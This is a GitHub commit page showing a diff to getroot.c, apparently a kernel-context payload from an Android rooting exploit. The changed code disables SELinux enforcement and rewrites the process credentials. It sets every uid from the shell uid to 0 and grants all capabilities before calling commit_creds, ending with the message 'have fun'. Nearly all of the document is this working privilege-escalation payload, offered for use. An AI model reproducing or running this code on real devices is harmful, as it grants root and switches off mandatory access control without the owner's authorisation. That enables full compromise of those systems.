Skip to content

Commit d168420

Browse files
committed
Turn off SELinux and get all capabilities.
1 parent f3d22db commit d168420

File tree

1 file changed

+42
-21
lines changed

1 file changed

+42
-21
lines changed

getroot.c

+42-21
Original file line numberDiff line numberDiff line change
@@ -67,8 +67,21 @@ typedef enum {
6767
} dump_prefix_type_t;
6868
#endif
6969

70-
#define STRUCT_CRED_SEARCH_N_WORDS 0x30
71-
#define MATCH_UID 2000 /* shell */
70+
struct cap {
71+
uint32_t caps[2];
72+
};
73+
74+
struct cred {
75+
uint32_t usage;
76+
uint32_t uids[8];
77+
uint32_t securebits;
78+
struct cap caps[4];
79+
void *security, *user, *user_ns, *group_info;
80+
uint32_t rcu_head;
81+
};
82+
83+
#define ELEMS(x) (sizeof(x)/sizeof((x)[0]))
84+
#define SHELL_UID 2000
7285

7386
#define UNUSED __attribute__((unused))
7487

@@ -82,37 +95,45 @@ int start(int argc UNUSED, char **argv UNUSED) {
8295
return 2;
8396

8497
void *(*prepare_creds)() = getsym("prepare_creds");
85-
int(*commit_creds)(void *) = getsym("commit_creds");
98+
int (*commit_creds)(void *) = getsym("commit_creds");
99+
int *selinux_enforcing = getsym("selinux_enforcing");
100+
void (*selinux_status_update_setenforce)(uint32_t) = getsym("selinux_status_update_setenforce");
101+
102+
*selinux_enforcing = 0;
103+
selinux_status_update_setenforce(*selinux_enforcing);
104+
printk("SELinux set to Permissive.\n");
105+
106+
struct cred *c = prepare_creds();
107+
if (!c)
108+
ERR("prepare_creds failed");
86109

87110
#ifdef DEBUG
111+
printk("prepare_creds = %p\n", c);
88112
void *(*print_hex_dump)(const char *level, const char *prefix_str, dump_prefix_type_t prefix_type,
89113
int rowsize, int groupsize, const void *buf, size_t len, bool ascii)
90114
= getsym("print_hex_dump");
115+
print_hex_dump("", "", DUMP_PREFIX_ADDRESS, 16, 4, c, sizeof(struct cred), true);
91116
#endif
92117

93-
uint32_t *cred = prepare_creds();
94-
if (!cred)
95-
ERR("prepare_creds failed");
96-
97-
printk("prepare_creds = %p\n", cred);
98-
#ifdef DEBUG
99-
print_hex_dump("", "", DUMP_PREFIX_OFFSET, 16, 4, cred, 512, true);
100-
#endif
118+
for (unsigned int i = 0; i < ELEMS(c->uids); i++) {
119+
if (c->uids[i] != SHELL_UID)
120+
ERR("uids[%d] == %d, expected %d", i, c->uids[i], SHELL_UID);
121+
c->uids[i] = 0;
122+
}
101123

102-
int n = 0;
103-
for (int i = 0; i < STRUCT_CRED_SEARCH_N_WORDS; i++) {
104-
if (cred[i] == MATCH_UID) {
105-
printk("Set %p (cred[%d]) %d -> 0\n", cred+i, i, MATCH_UID);
106-
cred[i] = 0;
107-
n++;
108-
}
124+
for (unsigned int i = 0; i < ELEMS(c->caps); i++) {
125+
c->caps[i].caps[0] = c->caps[i].caps[1] = ~0;
109126
}
110-
printk("Patched %d words (should be 8)\n", n);
111127

112-
/* TODO: selinux context */
128+
#ifdef DEBUG
129+
printk("new creds:\n");
130+
print_hex_dump("", "", DUMP_PREFIX_ADDRESS, 16, 4, c, sizeof(struct cred), true);
131+
#endif
113132

114-
if (commit_creds(cred))
133+
if (commit_creds(c))
115134
ERR("commit_creds failed");
116135

136+
printk("Credentials committed, have fun.\n\n");
137+
117138
return 0;
118139
}

0 commit comments

Comments
 (0)